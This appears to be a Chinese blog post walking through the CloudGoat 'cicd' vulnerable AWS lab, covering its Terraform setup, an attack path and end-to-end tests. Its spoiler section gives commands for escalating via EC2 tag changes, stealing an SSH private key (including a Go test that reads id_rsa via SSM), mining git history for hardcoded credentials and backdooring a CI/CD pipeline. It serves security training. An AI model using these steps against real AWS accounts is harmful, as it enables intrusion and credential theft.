构建易受攻击的AWS DevOps环境:CloudGoat漏洞挖掘实战

本文详细介绍了如何通过CloudGoat构建包含典型攻击路径的脆弱AWS环境,涉及静态凭证泄露、CI/CD管道漏洞和供应链安全测试,包含完整的Terraform架构和实战渗透步骤。

构建易受攻击的AWS DevOps环境:CloudGoat漏洞挖掘实战

CloudGoat:漏洞AWS环境库

CloudGoat是一个开源项目,包含一系列可通过Terraform Python封装在自有AWS账户中快速创建的脆弱环境。每个场景都有独立文件夹包含描述和解决方案。

例如,使用以下命令在AWS账户中启动cicd场景:

1
python cloudgoat.py create cicd

该命令将运行Terraform创建基础设施,并显示启动说明,通常会输出初始AWS凭证。

新场景贡献指南

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景背景

FooCorp公司暴露公共API,客户每分钟向以下端点提交敏感数据:

1
2
3
4
POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/html
superSecretData=...

API通过API Gateway暴露Lambda函数实现。由于采用DevOps实践,FooCorp拥有持续部署管道,可在几分钟内将Lambda函数从源代码自动部署到生产环境。

任务目标:从低权限IAM用户凭证开始,窃取提交到API的敏感数据。注意账户中会每分钟运行AWS CodeBuild项目模拟用户活动。

基础设施组成

  • 3个IAM用户
  • 1个包含私有子网EC2实例的VPC
  • API组件:1个API Gateway、1个Lambda函数、1个ECR仓库
  • 持续部署管道:1个CodePipeline管道、2个CodeBuild项目、1个CodeCommit仓库

渗透测试过程

(包含剧透!仅建议卡关时阅读)

初始访问

运行python3 cloudgoat.py create cicd后获得初始IAM访问密钥:

1
2
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_secret_access_key = mjV9uB....

使用aws-vault配置凭证:

1
2
aws-vault add cloudgoat-step1
aws-vault exec cloudgoat-step1 --no-session

权限提升

当前用户ec2-sandbox-manager拥有以下权限:

  • 对Environment=dev标签的EC2实例管理标签权限
  • 对Environment=sandbox标签实例的完整SSM权限

通过修改EC2实例标签绕过访问控制:

1
aws ssm start-session --target i-030c2cba2ef533829

凭证窃取

在用户目录发现SSH私钥,通过指纹比对确认属于IAM用户cloner:

1
2
ssh-keygen -f .ssh/stolen_key -l -E md5
aws iam list-ssh-public-keys --user-name cloner

代码仓库访问

cloner用户拥有codecommit:GitPull权限,克隆代码仓库:

1
git clone ssh://$sshKeyId@git-codecommit.us-east-1.amazonaws.com/v1/repos/backend-api

历史凭证泄露

分析Git提交历史发现f1cb341提交包含硬编码AWS凭证:

1
git show f1cb341

使用泄露凭证获得developer用户权限(包含codecommit:GitPush和codecommit:PutFile)

供应链攻击

通过CodeCommit UI后门应用,等待持续部署管道自动部署。修改应用代码将敏感数据记录到CloudWatch日志:

1
2
# 恶意代码示例
print("superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5}")

成功捕获flag:

1
2
START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}

端到端自动化测试

使用Terratest Go库进行基础设施测试:

  1. 在真实AWS环境部署Terraform资源
  2. 发送HTTP请求验证API部署
  3. 程序化执行渗透步骤
  4. 测试完成后销毁基础设施

示例测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {
  ssmClient := ssm.NewFromConfig(test.awsConfig)
  result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{
    DocumentName: aws.String("AWS-RunShellScript"),
    InstanceIds:  []string{instanceId},
    Parameters: map[string][]string{
      "commands": {"cat /home/ssm-user/.ssh/id_rsa"},
    },
  })
  // ...等待命令输出并返回私钥
}

测试结果:

1
PASS: TestScenario (248.47s)

结论

鼓励尝试该场景,CloudGoat包含许多真实世界AWS漏洞实验。欢迎在Twitter继续讨论测试方法和未来场景建议。

致谢RhinoSecurityLabs的Ryan Gerstenkorn的贡献!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计